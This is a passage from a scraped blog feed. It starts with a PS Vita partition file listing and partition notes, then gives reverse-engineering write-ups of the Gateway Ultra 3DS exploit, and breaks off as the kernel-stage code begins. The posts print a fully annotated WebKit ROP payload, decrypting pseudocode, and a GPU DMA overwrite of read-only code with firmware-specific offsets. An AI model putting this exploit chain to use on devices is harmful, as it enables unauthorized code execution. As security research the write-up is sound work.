sa0:data/font/pgf/ltn14.pgf
sa0:data/font/pgf/ltn15.pgf
sa0:data/font/pgf/ltn2.pgf
sa0:data/font/pgf/ltn3.pgf
sa0:data/font/pgf/ltn4.pgf
sa0:data/font/pgf/ltn5.pgf
sa0:data/font/pgf/ltn6.pgf
sa0:data/font/pgf/ltn7.pgf
sa0:data/font/pgf/ltn8.pgf
sa0:data/font/pgf/ltn9.pgf
sa0:data/font/pvf/cn0.pvf
sa0:data/font/pvf/cn1.pvf
sa0:data/font/pvf/jpn0.pvf
sa0:data/font/pvf/jpn1.pvf
sa0:data/font/pvf/jpn2.pvf
sa0:data/font/pvf/jpn3.pvf
sa0:data/font/pvf/kr0.pvf
sa0:data/font/pvf/kr1.pvf
sa0:data/font/pvf/kr2.pvf
sa0:data/font/pvf/kr3.pvf
sa0:data/font/pvf/ltn0.pvf
sa0:data/font/pvf/ltn1.pvf
sa0:data/font/pvf/ltn2.pvf
sa0:data/font/pvf/ltn3.pvf
sa0:data/font/pvf/ltn4.pvf
sa0:data/font/pvf/ltn5.pvf
sa0:data/font/pvf/ltn6.pvf
sa0:data/font/pvf/ltn7.pvf
sa0:data/font/pvf/music_arib.pvf
sa0:data/font/pvf/psexchar.pvf
sa0:data/libhwr/all2_u.bin.hwz
sa0:data/libhwr/all_u.bin.hwz
sa0:data/libhwr/alnum_native_u.bin.hwz
sa0:data/libhwr/alnum_u.bin.hwz
sa0:data/libhwr/alnumlat1_u.bin.hwz
sa0:data/libhwr/chinese_simplified1_u.bin.hwz
sa0:data/libhwr/chinese_traditional_u.bin.hwz
sa0:data/libhwr/dan_nor_u.bin.hwz
sa0:data/libhwr/dutch_u.bin.hwz
sa0:data/libhwr/french_u.bin.hwz
sa0:data/libhwr/german_u.bin.hwz
sa0:data/libhwr/hangul_u.bin.hwz
sa0:data/libhwr/hira_u.bin.hwz
sa0:data/libhwr/icelandic_u.bin.hwz
sa0:data/libhwr/italian_u.bin.hwz
sa0:data/libhwr/kanji2_u.bin.hwz
sa0:data/libhwr/kanji_u.bin.hwz
sa0:data/libhwr/kata_u.bin.hwz
sa0:data/libhwr/korean_u.bin.hwz
sa0:data/libhwr/polish_u.bin.hwz
sa0:data/libhwr/portuguese_u.bin.hwz
sa0:data/libhwr/russian_u.bin.hwz
sa0:data/libhwr/spanish_u.bin.hwz
sa0:data/libhwr/swe_fin_u.bin.hwz
tm0:nphome
tm0:SceIoTrash
vd0:history/data.bak
vd0:history/data.bin
vd0:network/ifstat.bin
vd0:registry/system.dreg
vd0:registry/system.ireg
vd0:SceIoTrash
ud0:PSP2UPDATE
ud0:SceIoTrash
pd0:app/NPXS10007/data/guidemovie/movie.mp4
pd0:app/NPXS10007/eboot.bin
pd0:app/NPXS10007/HelloFace/DATA_GRAPH.BPM
pd0:app/NPXS10007/HelloFace/DATA_MAIN.BPM
pd0:app/NPXS10007/package/boundwave.tar
pd0:app/NPXS10007/package/firsttouch.tar
pd0:app/NPXS10007/package/gamestart.tar
pd0:app/NPXS10007/package/gamestart_locale_cs.tar
pd0:app/NPXS10007/package/gamestart_locale_ct.tar
pd0:app/NPXS10007/package/gamestart_locale_da.tar
pd0:app/NPXS10007/package/gamestart_locale_du.tar
pd0:app/NPXS10007/package/gamestart_locale_fi.tar
pd0:app/NPXS10007/package/gamestart_locale_fr.tar
pd0:app/NPXS10007/package/gamestart_locale_ge.tar
pd0:app/NPXS10007/package/gamestart_locale_it.tar
pd0:app/NPXS10007/package/gamestart_locale_ja.tar
pd0:app/NPXS10007/package/gamestart_locale_ko.tar
pd0:app/NPXS10007/package/gamestart_locale_no.tar
pd0:app/NPXS10007/package/gamestart_locale_pb.tar
pd0:app/NPXS10007/package/gamestart_locale_pl.tar
pd0:app/NPXS10007/package/gamestart_locale_pr.tar
pd0:app/NPXS10007/package/gamestart_locale_ru.tar
pd0:app/NPXS10007/package/gamestart_locale_sp.tar
pd0:app/NPXS10007/package/gamestart_locale_sw.tar
pd0:app/NPXS10007/package/opening.tar
pd0:app/NPXS10007/package/photopazzle.tar
pd0:app/NPXS10007/package/survival.tar
pd0:app/NPXS10007/package/topmenu2.tar
pd0:app/NPXS10007/package/ui.tar
pd0:app/NPXS10007/sce_module/libc.suprx
pd0:app/NPXS10007/sce_module/libfios2.suprx
pd0:app/NPXS10007/sce_module/libult.suprx
pd0:app/NPXS10007/sce_pfs/files.db
pd0:app/NPXS10007/sce_pfs/unicv.db
pd0:app/NPXS10007/sce_sys/clearsign
pd0:app/NPXS10007/sce_sys/icon0.png
pd0:app/NPXS10007/sce_sys/keystone
pd0:app/NPXS10007/sce_sys/livearea/contents/bg0.png
pd0:app/NPXS10007/sce_sys/livearea/contents/mov_icon.png
pd0:app/NPXS10007/sce_sys/livearea/contents/startup.png
pd0:app/NPXS10007/sce_sys/livearea/contents/template.xml
pd0:app/NPXS10007/sce_sys/package/body.bin
pd0:app/NPXS10007/sce_sys/package/head.bin
pd0:app/NPXS10007/sce_sys/package/stat.bin
pd0:app/NPXS10007/sce_sys/package/tail.bin
pd0:app/NPXS10007/sce_sys/package/temp.bin
pd0:app/NPXS10007/sce_sys/param.sfo
pd0:app/NPXS10007/sce_sys/pic0.png
pd0:app/NPXS10007/sce_sys/trophy/NPWR02174_00/TROPHY.TRP
pd0:app/NPXS10007/shader/vsd/irh_surface_f.psp2.vsd
pd0:app/NPXS10007/shader/vsd/irh_surface_v.psp2.vsd
pd0:app/NPXS10007/sound/BGM_InGame1.sxd
pd0:app/NPXS10007/sound/BGM_InGame2.sxd
pd0:app/NPXS10007/sound/BGM_TopMenu.sxd
pd0:app/NPXS10007/sound/narration/cs/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/cs/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/ct/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/ct/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/da/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/da/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/du/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/du/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/en/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/en/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/fi/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/fi/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/fr/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/fr/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/ge/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/ge/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/it/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/it/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/ja/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/ja/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/ko/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/ko/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/no/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/no/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/pb/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/pb/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/pl/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/pl/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/pr/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/pr/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/ru/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/ru/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/sp/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/sp/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/sw/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/sw/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/uk/WP_VO.sxd1
pd0:app/NPXS10007/sound/narration/uk/WP_VO.sxd2
pd0:app/NPXS10007/sound/narration/us
pd0:app/NPXS10007/sound/narration/WP_bus_rev.sxd
pd0:app/NPXS10007/sound/WP_15P_SE.sxd
pd0:app/NPXS10007/sound/WP_1st_SE.sxd
pd0:app/NPXS10007/sound/WP_BB_SE.sxd
pd0:app/NPXS10007/sound/WP_COM_SE.sxd
pd0:app/NPXS10007/sound/WP_SW_SE.sxd
pd0:app/NPXS10007/sound/WP_TOP_SE.sxd
pd0:data/systembgm/home.at9
pd0:data/systembgm/initialsetup.at9
pd0:data/systembgm/near.at9
pd0:data/systembgm/signup.at9
pd0:data/systembgm/store.at9
pd0:license/app/NPXS10007/6488b73b912a753a492e2714e9b38bc7.rif

Partitions

If you’re still reading, here’s some details of a selected few of the partitions found on the Vita as a bonus.

  • os0 found on the NAND is where the “main” OS files are including all the kernel libraries and the most important user libraries. There’s always two copies of this for redundancy and updating will only update the inactive partition and the active flag is swapped.
  • sa0 found on the NAND is the “bulky” data like fonts and handwriting information. Why is it a separate partition? Because it makes update files smaller. Your “systemdata” PUP provides the update for this partition.
  • vs0 found on the NAND is the rest of the OS including all the system apps, the main shell, and the remaining user libraries
  • vd0 found on the NAND is mainly used for the system registry (settings)
  • ud0 found on the NAND is used for updates. When you update the Vita, the update file is copied here and the system reboots.
  • pd0 found on the NAND is where Welcome Park (and the intro video) are found. It is also the “preinst” PUP update.
  • ur0 found on the NAND is the remaining user data that is structured similarly to the memory card (it shares almost the same directory structure). App icon layout for example is found here.
  • ux0 is the memory card
  • gro0 is the game card
  • grw0 is the writable part of the game card if supported

Reversing Gateway Ultra First Stage (Part 1)

$
0
0

And now for something completely different…

As a break from Vita hacking, I’ve decided to play around with the Nintendo 3DS exploit released by Gateway yesterday. The 3DS is a much easier console to hack, but unfortunately, the scene is dominated by a piracy company who, ironically, implement various “features” to protect their intellectual property (one such feature purposely bricks any user of a cloned piracy cart–and also “legitimate” users too). Ethics aside, it would be useful to reverse Gateway’s exploits and use them for homebrew loading so I took a quick look at it. The first stage of the exploit is an entry-point into the system that allows code to run in the unprivileged user-mode. It is usually used to exploit a kernel vulnerability, which is the second stage. In the unique case of Gateway, the first stage is broken up into two parts (in order for them to obfuscate their payload). I am only going to look at the first part for now.

Vulnerability

The userland vulnerability is a known use-after-free bug in WebKit found in April last year (and no, the latest Vita firmware is not vulnerable). Depending on the user-agent of the 3DS visiting the exploit page, a different payload for that browser version is sent. A GBATemp user has dumped all the possible payloads, and I used the 4.x one in my analysis (although I believe the only difference in the different payloads are memory offsets).

Details

This is what the initial first stage payload does:

void *_this = 0x08F10000;
int *read_len = 0x08F10020;
int *buffer = 0x08F01000;
int state = 0;
int i = 0;
FS_MOUNTSDMC("dmc:");
IFile_Open(_this, L"dmc:/Launcher.dat", 0x1);
*((int *)_this + 1) = 0x00012000; // fseek according to sm on #3dsdev
IFile_Read(_this, read_len, buffer, 0x4000);

for (i = 0; i < 0x4000/4; i++)
{
    state += 0xD5828281;
    buffer[i] += state;
}

The important part here is that the rest of the payload is decrypted from “Launcher.dat” by creating a stream cipher from a (crappy) PRNG that just increments by 0xD5828281 every iteration. Instead of an xor-pad, it uses an “add”-pad. Otherwise it is pretty standard obfuscation. A neat trick in this ROP payload is the casting of ARM code as Thumb to get gadgets that were not originally compiled into code (I am unsure if they also tried casting RO data as Thumb code, as that is also a way of getting extra gadgets). Another neat trick is emulating loops by using ARM conditional stores to conditionally set the stack pointer to some value (although I was told they used this trick in the original Gateway payload too).

Future

The first part was very simple and straightforward and was easy to reverse. I am expecting that the second part would involve a lot more code so I may need to work on a tool to extract the gadgets from code. (By the way, thanks to sbJFn5r on #3dsdev for providing me with the WebKit code to look at and sm for the hint about fseek). It is likely that I won’t have the time to continue this though (still working on the Vita) but it seems like many others are farther ahead than me anyways.

Payload

For those who care, the raw (annotated) payload for 4.X:

0x08B47400: 0x0010FFFD ; (nop) POP {PC}
0x08B47404: 0x0010FFFD ; (nop) POP {PC}
0x08B47408: 0x0010FFFD ; (nop) POP {PC}
0x08B4740C: 0x0010FFFD ; (nop) POP {PC}
0x08B47410: 0x002AD574 ; LDMFD   SP!, {R0,PC}
0x08B47414: 0x002A5F27 ; R0 = "dmc:"
0x08B47418: 0x00332BEC ; FS_MOUNTSDMC(), then LDMFD   SP!, {R3-R5,PC}
0x08B4741C: 0x08B475F0 ; R3, dummy
0x08B47420: 0x00188008 ; R4, dummy
0x08B47424: 0x001DA00C ; R5, dummy
0x08B47428: 0x0017943B ; Thumb: POP     {R0-R4,R7,PC}
0x08B4742C: 0x08F10000 ; R0 = this
0x08B47430: 0x08B47630 ; R1 = L"dmc:/Launcher.dat"
0x08B47434: 0x00000001 ; R2 = read/only
0x08B47438: 0x0039B020 ; R3, dummy
0x08B4743C: 0x001CC01C ; R4, dummy
0x08B47440: 0x002C6010 ; R7, dummy
0x08B47444: 0x0025B0A8 ; IFile_Open(), then LDMFD   SP!, {R4-R7,PC}
0x08B47448: 0x00231FF0 ; R4, dummy
0x08B4744C: 0x002CBFF0 ; R5, dummy
0x08B47450: 0x00124000 ; R6, dummy
0x08B47454: 0x0033FFFD ; R7, dummy
0x08B47458: 0x0010FFFD ; (nop) POP {PC}
0x08B4745C: 0x002AD574 ; LDMFD   SP!, {R0,PC}
0x08B47460: 0x00012000 ; R0
0x08B47464: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B47468: 0x08F10004 ; R1
0x08B4746C: 0x00140450 ; *(int*)0x08F10004 = 0x00012000, then LDMFD   SP!, {R4,PC}
0x08B47470: 0x001CC024 ; R4
0x08B47474: 0x0017943B ; Thumb: POP     {R0-R4,R7,PC}
0x08B47478: 0x08F10000 ; R0 = this
0x08B4747C: 0x08F10020 ; R1 = p_total_read
0x08B47480: 0x08F01000 ; R2 = read_buffer
0x08B47484: 0x00004000 ; R3 = size
0x08B47488: 0x00295FF8 ; R4, dummy
0x08B4748C: 0x00253FFC ; R7, dummy
0x08B47490: 0x002FC8E8 ; IFile_Read, then LDMFD   SP!, {R4-R9,PC}
0x08B47494: 0x002BE030 ; R4, dummy
0x08B47498: 0x00212010 ; R5, dummy
0x08B4749C: 0x00271F40 ; R6, dummy
0x08B474A0: 0x0020C05C ; R7, dummy
0x08B474A4: 0x002DE0C4 ; R8, dummy
... START_DECODE_LOOP ...
0x08B474A8: 0x001B2000 ; R9, dummy || LR, dummy (upon loop)
0x08B474AC: 0x002AD574 ; LDMFD   SP!, {R0,PC}
0x08B474B0: 0x08B4750C ; R0 (&state)
0x08B474B4: 0x001CCC64 ; R0 = *R0 = state, LDMFD   SP!, {R4,PC}
0x08B474B8: 0x001057C4 ; R4, dummy
0x08B474BC: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B474C0: 0xD5828281 ; R1 (seed)
0x08B474C4: 0x00207954 ; R0 = R0 + R1, LDMFD   SP!, {R4,PC}
0x08B474C8: 0x0011FFFD ; R4, dummy
0x08B474CC: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B474D0: 0x08B4750C ; R1 (&state)
0x08B474D4: 0x00140450 ; *R1 = R0 = next random, LDMFD   SP!, {R4,PC}
0x08B474D8: 0x00354850 ; R4, dummy
0x08B474DC: 0x002AD574 ; LDMFD   SP!, {R0,PC}
0x08B474E0: 0x08B47618 ; R0 (&buffer)
0x08B474E4: 0x001CCC64 ; R0 = *R0 = buffer, LDMFD   SP!, {R4,PC}
0x08B474E8: 0x00127F6D ; R4, dummy
0x08B474EC: 0x00100D24 ; LDMFD   SP!, {R4-R6,PC}
0x08B474F0: 0x001037E0 ; R4, dummy
0x08B474F4: 0x08B4748C ; R5, dummy
0x08B474F8: 0x08B4740C ; R6, dummy
0x08B474FC: 0x001CCC64 ; R0 = *R0 (read32 from buffer), LDMFD   SP!, {R4,PC}
0x08B47500: 0x0011BB00 ; R4, dummy
0x08B47504: 0x0010FFFD ; (nop) POP {PC}
0x08B47508: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B4750C: 0x00000000 ; R1 (PRG state)
0x08B47510: 0x00207954 ; R0 = R0 + R1 (add PRG state to buffer data), LDMFD   SP!, {R4,PC}
0x08B47514: 0x001303A0 ; R4, dummy
0x08B47518: 0x00103DA8 ; LDMFD   SP!, {R4-R12,PC}
0x08B4751C: 0x00101434 ; R4, dummy
0x08B47520: 0x0022FF64 ; R5, dummy
0x08B47524: 0x001303A0 ; R6, dummy
0x08B47528: 0x08B47400 ; R7, dummy
0x08B4752C: 0x0010FFFD ; R8, dummy
0x08B47530: 0x0010FFFD ; R9, dummy
0x08B47534: 0x00100B5C ; R10, dummy
0x08B47538: 0x0022FE44 ; R11, dummy
0x08B4753C: 0x0010FFFD ; R12, (nop) POP {PC}
0x08B47540: 0x0018114C ; LDMFD   SP!, {R4-R6,LR}, BX R12
0x08B47544: 0x001057C4 ; R4, dummy
0x08B47548: 0x00228AF4 ; R5, dummy
0x08B4754C: 0x00350658 ; R6, dummy
0x08B47550: 0x0010FFFD ; LR, (nop) POP {PC}
0x08B47554: 0x00158DE7 ; R1 = R0 = (decoded data), BLX LR
0x08B47558: 0x002AD574 ; LDMFD   SP!, {R0,PC}
0x08B4755C: 0x08B47618 ; R0 (&buffer)
0x08B47560: 0x001CCC64 ; R0 = *R0 = buffer, LDMFD   SP!, {R4,PC}
0x08B47564: 0x0011FFFD ; R4, dummy
0x08B47568: 0x00119B94 ; *R0 = R1 = (decoded data), LDMFD   SP!, {R4,PC}
0x08B4756C: 0x00106694 ; R4, dummy
0x08B47570: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B47574: 0x00000004 ; R1
0x08B47578: 0x00207954 ; R0 = R0 + R1 (buffer + 4), LDMFD   SP!, {R4,PC}
0x08B4757C: 0x00130344 ; R4, dummy
0x08B47580: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B47584: 0x08B47618 ; R1 (&buffer)
0x08B47588: 0x00140450 ; *R1 = R0 (set new buffer), LDMFD   SP!, {R4,PC}
0x08B4758C: 0x00100D24 ; R4, dummy
0x08B47590: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B47594: 0xF70FB000 ; R1
0x08B47598: 0x00207954 ; R0 = R0 + R1 = 0xFFFFC004, LDMFD   SP!, {R4,PC}
0x08B4759C: 0x00119864 ; R4, dummy
0x08B475A0: 0x001B560C ; SET_FLAGS (R0 != 0), if (flags) R0 = 1, LDMFD   SP!, {R3,PC}
0x08B475A4: 0x002059C0 ; R3, dummy
0x08B475A8: 0x002AD574 ; LDMFD   SP!, {R0,PC}
0x08B475AC: 0x08B47610 ; R0 (val for LR)
0x08B475B0: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B475B4: 0x08F00FFC ; R1
0x08B475B8: 0x00119B94 ; *R0 = R1 = 0x08F00FFC (next stage), LDMFD   SP!, {R4,PC}
0x08B475BC: 0x00355FD4 ; R4, dummy
0x08B475C0: 0x00269758 ; LDMFD   SP!, {R1,PC}
0x08B475C4: 0x08B474A8 ; R1
0x08B475C8: 0x0020E780 ; if (flags) *R0 = R1 = 0x08B474A8 (loop), LDMFD   SP!, {R4,PC}
0x08B475CC: 0x002C2215 ; R4, dummy
0x08B475D0: 0x0010FFFD ; (nop) POP {PC}
0x08B475D4: 0x0010FFFD ; (nop) POP {PC}
0x08B475D8: 0x00103DA8 ; LDMFD   SP!, {R4-R12,PC}
0x08B475DC: 0x002D5654 ; R4, dummy
0x08B475E0: 0x00103778 ; R5, dummy
0x08B475E4: 0x002FA864 ; R6, dummy
0x08B475E8: 0x00119B94 ; R7, dummy
0x08B475EC: 0x0020E780 ; R8, dummy
0x08B475F0: 0x00128605 ; R9, dummy
0x08B475F4: 0x00103DA8 ; R10, dummy
0x08B475F8: 0x08B475F8 ; R11, dummy
0x08B475FC: 0x0010FFFD ; R12, dummy
0x08B47600: 0x0018114C ; LDMFD   SP!, {R4-R6,LR}
0x08B47604: 0x0010FFFD ; R4, dummy
0x08B47608: 0x002FC8E4 ; R5, dummy
0x08B4760C: 0x001037E0 ; R6, dummy
0x08B47610: 0x0023C494 ; LR (later set to 0x08B474A8)
0x08B47614: 0x002D6A30 ; SP = LR, LDMFD   SP!, {LR,PC}
... END OF ROP PAYLOAD ...
0x08B47618: 0x08F01000 ; buffer
0x08B4761C: 0x002D6A1C ; 
0x08B47620: 0x08B47400 ; 
0x08B47624: 0x0010FFFD ; 
0x08B47628: 0x0010FFFD ; 
0x08B4762C: 0x002D6A1C ; 
0x08B47630: L"dmc:/Launcher.dat"
0x08B47654: 0x00000000 ; 
0x08B47658: 0x00000000 ; 
0x08B4765C: 0x00000000 ; 
0x08B47660: 0x00000000 ; 
0x08B47664: 0x00000000 ; 
0x08B47668: 0x00000000 ; 
0x08B4766C: 0x002D6A1C ; 
0x08B47670: 0x00000000 ; 
0x08B47674: 0x00000000 ; 
0x08B47678: 0x00000000 ; 
0x08B4767C: 0x00000000 ; 
0x08B47680: 0x00000000 ; 
0x08B47684: 0x00000000 ; 
0x08B47688: 0x00000000 ; 
0x08B4768C: 0x00000000 ; 
0x08B47690: 0x00000000 ; 
0x08B47694: 0x00000000 ; 
0x08B47698: 0x00000000 ; 
0x08B4769C: 0x00000000 ; 
0x08B476A0: 0x00000000 ; 
0x08B476A4: 0x00000000 ; 
0x08B476A8: 0x00000000 ; 
0x08B476AC: 0x00000000 ; 
0x08B476B0: 0x00000000 ; 
0x08B476B4: 0x00000000 ; 
0x08B476B8: 0x00000000 ; 
0x08B476BC: 0x00000000 ; 
0x08B476C0: 0x00000000 ; 
0x08B476C4: 0x00000000 ; 
0x08B476C8: 0x00000000 ; 
0x08B476CC: 0x00000000 ; 
0x08B476D0: 0x00000000 ; 
0x08B476D4: 0x00000000 ; 
0x08B476D8: 0x00000000 ; 
0x08B476DC: 0x00000000 ; 
0x08B476E0: 0x00000000 ; 
0x08B476E4: 0x00000000 ; 
0x08B476E8: 0x00000000 ; 
0x08B476EC: 0x00000000 ; 
0x08B476F0: 0x00000000 ; 
0x08B476F4: 0x00000000 ; 
0x08B476F8: 0x00000000 ; 
0x08B476FC: 0x00000000 ; 

Reversing Gateway Ultra First Stage (Part 2)

$
0
0

When we last left off, we looked at the ROP code that loaded a larger second-part of the payload. Now we will walk through what was loaded and how userland native code execution was achieved. I am still an amateur at 3DS hacking so I am sure to get some things wrong, so please post any corrections you have in the comments and I will update the post as needed.

Pseudocode

Some of the hard coded addresses are inside the stack payload loaded by the first part from Launcher.dat (at 0x08F01000).

int GX_SetTextureCopy(void *input_buffer, void *output_buffer, unsigned int size, 
int in_x, int in_y, int out_x, int out_y, int flags);
int GSPGPU_FlushDataCache(void *addr, unsigned int len);
int svcSleepThread(unsigned long long nanoseconds);
void memcpy(void *dst, const void *src, unsigned int len);

// There are offsets and addresses specific to each FW version inside of 
// the first stage that is used by both the first and second stage payloads
struct // example for 4.1.0
{
    void (*payload_code)(void); // 0x009D2000
    unsigned int unk_4; // 0x252D3000
    unsigned int orig_code; // 0x1E5F8FFD
    void *payload_target; // 0x192D3000
    unsigned int unk_10; // 0xEFF83C97
    unsigned int unk_14; // 0xF0000000
    unsigned int unk_18; // 0xE8000000
    unsigned int unk_1C; // 0xEFFF4C80
    unsigned int unk_20; // 0xEFFE4DD4
    unsigned int unk_24; // 0xFFF84DDC
    unsigned int unk_28; // 0xFFF748C4
    unsigned int unk_2C; // 0xEFFF497C
    unsigned int unk_30; // 0x1FFF4C84
    unsigned int unk_34; // 0xFFFD0000
    unsigned int unk_38; // 0xFFFD2000
    unsigned int unk_3C; // 0xFFFD4000
    unsigned int unk_40; // 0xFFFCE000
} fw_specific_data;

void payload() // base at 0x08F01000
{
    int i;
    unsigned int kversion;
    struct fw_specific_data *data;
    int code_not_copied;

    // part 1, some setup
    *(int*)0x08000838 = 0x08F02B3C;
    svcSleepThread (0x400000LL);
    svcSleepThread (0x400000LL);
    svcSleepThread (0x400000LL);
    for (i = 0; i < 3; i++) // do 3 times to be safe
    {
        GSPGPU_FlushDataCache (0x18000000, 0x00038400);
        GX_SetTextureCopy (0x18000000, 0x1F48F000, 0x00038400, 0, 0, 0, 0, 8);
        svcSleepThread (0x400000LL);
        GSPGPU_FlushDataCache (0x18000000, 0x00038400);
        GX_SetTextureCopy (0x18000000, 0x1F4C7800, 0x00038400, 0, 0, 0, 0, 8);
        svcSleepThread (0x400000LL);
    }

    kversion = *(unsigned int *)0x1FF80000; // KERNEL_VERSION register
    data = 0x08F02894; // buffer to store FW specific data

    // part 2, get kernel specific data from our buffer
    if (kversion == 0x02220000) // 2.34-0 4.1.0
    {
        memcpy (data, 0x08F028D8, 0x44);
    }
    else if (kversion == 0x02230600) // 2.35-6 5.0.0
    {
        memcpy (data, 0x08F0291C, 0x44);
    }
    else if (kversion == 0x02240000) // 2.36-0 5.1.0
    {
        memcpy (data, 0x08F02960, 0x44);
    }
    else if (kversion == 0x02250000) // 2.37-0 6.0.0
    {
        memcpy (data, 0x08F029A4, 0x44);
    }
    else if (kversion == 0x02260000) // 2.38-0 6.1.0
    {
        memcpy (data, 0x08F029E8, 0x44);
    }
    else if (kversion == 0x02270400) // 2.39-4 7.0.0
    {
        memcpy (data, 0x08F02A2C, 0x44);
    }
    else if (kversion == 0x02280000) // 2.40-0 7.2.0
    {
        memcpy (data, 0x08F02A70, 0x44);
    }
    else if (kversion == 0x022C0600) // 2.44-6 8.0.0
    {
        memcpy (data, 0x08F02AB4, 0x44);
    }

    // part 3, execute code
    do
    {
        // if the function has it's original code, we try again
        code_not_copied = *(unsigned int *)data->payload_code + data->orig_code == 0;
        // copy second stage to FCRAM
        memcpy (0x18410000, 0x08F02B90, 0x000021F0);
        // make sure data is written and cache flushed || attempted GW obfuscation
        memcpy (0x18410000, 0x18410000, 0x00010000);
        memcpy (0x18410000, 0x18410000, 0x00010000);
        GSPGPU_FlushDataCache (0x18410000, 0x000021F0);
        // copy the second stage code
        GX_SetTextureCopy (0x18410000, data->payload_target, 0x000021F0, 0, 0, 0, 0, 8);
        svcSleepThread (0x400000LL);
        memcpy (0x18410000, 0x18410000, 0x00010000);
    } while (code_not_copied);

    (void(*)() 0x009D2000)();
    // I think it was originally data->payload_code but later they hard coded it 
    // for some reason
}

Details

The first part, I’m not too sure about. I think it’s either some required housekeeping or needless calls to obfuscate the exploit (found later). I couldn’t find any documentation on the 0x1F4XXXXX region except that is it in the VRAM. (EDIT: plutoo tells me it’s the framebuffer. Likely the screen is cleared black for debugging or something.) I am also unsure of the use of setting 0×08000838 to some location in the payload that is filled with “0x002CAFE4″. In the second part, version specific information for each released kernel version is copied to a global space for use by both the first stage and the second stage exploit code. (This includes specific kernel addresses and stuff).

The meat of the exploit is an unchecked GPU DMA write that allows the attacker to overwrite read-only executable pages in memory. This is the same exploit used by smealum in his ninjhax and he gives a much better explanation of “gspwn” in his blog. In short, certain areas of the physical memory are mapped at some virtual address as read-only executable (EDIT: yellows8 tells me specifically, this is in a CRO, which is something like shared libraries for 3DS) but when the physical address of the same location is written to by the GPU, it does not go through the CPU’s MMU (since it is a different device) and can write to it. The need for thread sleep (and maybe the weird useless memcpys) is because the CPU’s various levels of cache needs some time to see the changes that it did not expect from the GPU.

The second stage of the payload is the ARM code copied from Launcher.dat (3.0.0) offset 0x1B90 for a length of 0x21F0 (remember to decrypt it using the “add”-pad stream cipher described in the first post).

Raw ROP Payload Annotated

It is a huge mess, but for those who are curious, here it is. The bulk of the code are useless obfuscation (for example, it would pop 9 registers full of junk data and then fill the same 9 registers with more junk data afterwards). However, the obfuscation is easy to get past if you just ignore everything except gadgets that do 1) memory loads, 2) memory stores, 3) set flags, or 4) function call. Every other gadget is useless. They also do this weird thing where they “memcpy” one part of the stack to another part (which goes past the current SP). However, comparing the two blocks of data (before and after the copy) shows nothing different aside from some garbage values.

Reversing Gateway Ultra Stage 2: Owning ARM11 Kernel

$
0
0

It’s been a couple of days since my initial analysis of Gateway Ultra, released last week to enable piracy on 3DS. I spent most of this time catching up on the internals of the 3DS. I can’t thank the maintainers of 3dbrew enough (especially yellows8, the master of 3DS reversing) for the amount of detailed and technical knowledge found on the wiki. The first stage was a warmup and did not require any specific 3DS knowledge to reverse. The problem with the second stage is that while it is easy to see the exploit triggered and code to run, the actual exploit itself was not as clear. I looked at all the function calls made and made a couple of hypothesis of where the vulnerability resided, and reversed each function to the end to test my hypothesis. Although there was many dead ends and false leads, the process of reversing all these functions solidified my understanding of the system.

Code

As always, I like to post the reversed code first so those with more knowledge than me don’t have to read my verbose descriptions. I will explain the interesting parts afterwards. I am including the full code listing of the shellcode including parts that are irrelevant either because it is used as obfuscation, to provide stability, or as setup for later parts.

int memcpy(void *dst, const void *src, unsigned int len);
int GX_SetTextureCopy(void *input_buffer, void *output_buffer, unsigned int size, 
                      int in_x, int in_y, int out_x, int out_y, int flags);
int GSPGPU_FlushDataCache(void *addr, unsigned int len);
int svcSleepThread(unsigned long long nanoseconds);
int svcControlMemory(void **outaddr, unsigned int addr0, unsigned int addr1, 
                     unsigned int size, int operation, int permissions);

int
do_gspwn_copy (void *dst, unsigned int len, unsigned int check_val, int check_off)
{
    unsigned int result;

    do
    {
        memcpy (0x18401000, 0x18401000, 0x10000);
        GSPGPU_FlushDataCache (0x18402000, len);
        // src always 0x18402000
        GX_SetTextureCopy(0x18402000, dst, len, 0, 0, 0, 0, 8);
        GSPGPU_FlushDataCache (0x18401000, 16);
        GX_SetTextureCopy(dst, 0x18401000, 0x40, 0, 0, 0, 0, 8);
        memcpy(0x18401000, 0x18401000, 0x10000);
        result = *(unsigned int *)(0x18401000 + check_off);
    } while (result != check_val);

    return 0;
}

int
arm11_kernel_exploit_setup (void)
{
    unsigned int patch_addr;
